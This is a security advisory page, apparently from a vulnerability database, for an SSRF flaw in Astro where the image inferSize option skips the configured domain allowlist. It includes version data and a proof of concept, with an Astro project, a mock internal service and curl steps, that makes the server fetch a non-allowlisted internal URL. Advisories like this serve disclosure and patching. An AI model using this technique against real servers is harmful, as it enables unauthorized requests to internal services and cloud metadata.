GHSA-CJ9F-H6R6-4CX2

Vulnerability from github – Published: 2026-02-25 18:11 – Updated: 2026-02-25 18:11
VLAI?
Summary
Astro is vulnerable to SSRF due to missing allowlist enforcement in remote image inferSize
Details

Summary

A bug in Astro's image pipeline allows bypassing image.domains / image.remotePatterns restrictions, enabling the server to fetch content from unauthorized remote hosts.

Details

Astro provides an inferSize option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).

However, when inferSize is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.

PoC

### Setup Create a new Astro project with the following files: `package.json`:
{
  "name": "poc-ssrf-infersize",
  "private": true,
  "scripts": {
    "dev": "astro dev --port 4322",
    "build": "astro build"
  },
  "dependencies": {
    "astro": "5.17.2",
    "@astrojs/node": "9.5.3"
  }
}
`astro.config.mjs` — only `localhost:9000` is authorized:
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { hostname: 'localhost', port: '9000' }
    ]
  }
});
`internal-service.mjs` — simulates an internal service on a non-allowlisted host (`127.0.0.1:8888`):
import { createServer } from 'node:http';
const GIF = Buffer.from('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==', 'base64');
createServer((req, res) => {
  console.log(`[INTERNAL] Received: ${req.method} ${req.url}`);
  res.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': GIF.length });
  res.end(GIF);
}).listen(8888, '127.0.0.1', () => console.log('Internal service on 127.0.0.1:8888'));
`src/pages/test.astro`:
---
import { getImage } from 'astro:assets';

const result = await getImage({
  src: 'http://127.0.0.1:8888/internal-api',
  inferSize: true,
  alt: 'test'
});
---
<html><body>
  <p>Width: {result.options.width}, Height: {result.options.height}</p>
</body></html>
### Steps to reproduce 1. Run `npm install` and start the internal service:
node internal-service.mjs
2. Start the dev server:
npm run dev
3. Request the page:
curl http://localhost:4322/test
4. `internal-service.mjs` logs `Received: GET /internal-api` — the request was sent to `127.0.0.1:8888` despite only `localhost:9000` being in the allowlist.

Impact

Allows bypassing image.domains / image.remotePatterns restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@astrojs/node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27829"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T18:11:47Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA bug in Astro\u0027s image pipeline allows bypassing `image.domains` / `image.remotePatterns` restrictions, enabling the server to fetch content from unauthorized remote hosts.\n\n## Details\n\nAstro provides an `inferSize` option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the `image.domains` or `image.remotePatterns` options).\n\nHowever, when `inferSize` is used, no domain validation is performed \u2014 the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.\n\n## PoC\n\n\u003cdetails\u003e\n\n### Setup\n\nCreate a new Astro project with the following files:\n\n`package.json`:\n```json\n{\n  \"name\": \"poc-ssrf-infersize\",\n  \"private\": true,\n  \"scripts\": {\n    \"dev\": \"astro dev --port 4322\",\n    \"build\": \"astro build\"\n  },\n  \"dependencies\": {\n    \"astro\": \"5.17.2\",\n    \"@astrojs/node\": \"9.5.3\"\n  }\n}\n```\n\n`astro.config.mjs` \u2014 only `localhost:9000` is authorized:\n```javascript\nimport { defineConfig } from \u0027astro/config\u0027;\nimport node from \u0027@astrojs/node\u0027;\n\nexport default defineConfig({\n  output: \u0027server\u0027,\n  adapter: node({ mode: \u0027standalone\u0027 }),\n  image: {\n    remotePatterns: [\n      { hostname: \u0027localhost\u0027, port: \u00279000\u0027 }\n    ]\n  }\n});\n```\n\n`internal-service.mjs` \u2014 simulates an internal service on a non-allowlisted host (`127.0.0.1:8888`):\n```javascript\nimport { createServer } from \u0027node:http\u0027;\nconst GIF = Buffer.from(\u0027R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==\u0027, \u0027base64\u0027);\ncreateServer((req, res) =\u003e {\n  console.log(`[INTERNAL] Received: ${req.method} ${req.url}`);\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027image/gif\u0027, \u0027Content-Length\u0027: GIF.length });\n  res.end(GIF);\n}).listen(8888, \u0027127.0.0.1\u0027, () =\u003e console.log(\u0027Internal service on 127.0.0.1:8888\u0027));\n```\n\n`src/pages/test.astro`:\n```astro\n---\nimport { getImage } from \u0027astro:assets\u0027;\n\nconst result = await getImage({\n  src: \u0027http://127.0.0.1:8888/internal-api\u0027,\n  inferSize: true,\n  alt: \u0027test\u0027\n});\n---\n\u003chtml\u003e\u003cbody\u003e\n  \u003cp\u003eWidth: {result.options.width}, Height: {result.options.height}\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n### Steps to reproduce\n\n1. Run `npm install` and start the internal service:\n\n```bash\nnode internal-service.mjs\n```\n\n2. Start the dev server:\n\n```bash\nnpm run dev\n```\n\n3. Request the page:\n\n```bash\ncurl http://localhost:4322/test\n```\n\n4. `internal-service.mjs` logs `Received: GET /internal-api` \u2014 the request was sent to `127.0.0.1:8888` despite only `localhost:9000` being in the allowlist.\n\n\u003c/details\u003e\n\n## Impact\n\nAllows bypassing `image.domains` / `image.remotePatterns` restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.",
  "id": "GHSA-cj9f-h6r6-4cx2",
  "modified": "2026-02-25T18:11:47Z",
  "published": "2026-02-25T18:11:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-cj9f-h6r6-4cx2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/commit/e01e98b063e90d274c42130ec2a60cc0966622c9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Astro is vulnerable to SSRF due to missing allowlist enforcement in remote image inferSize"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…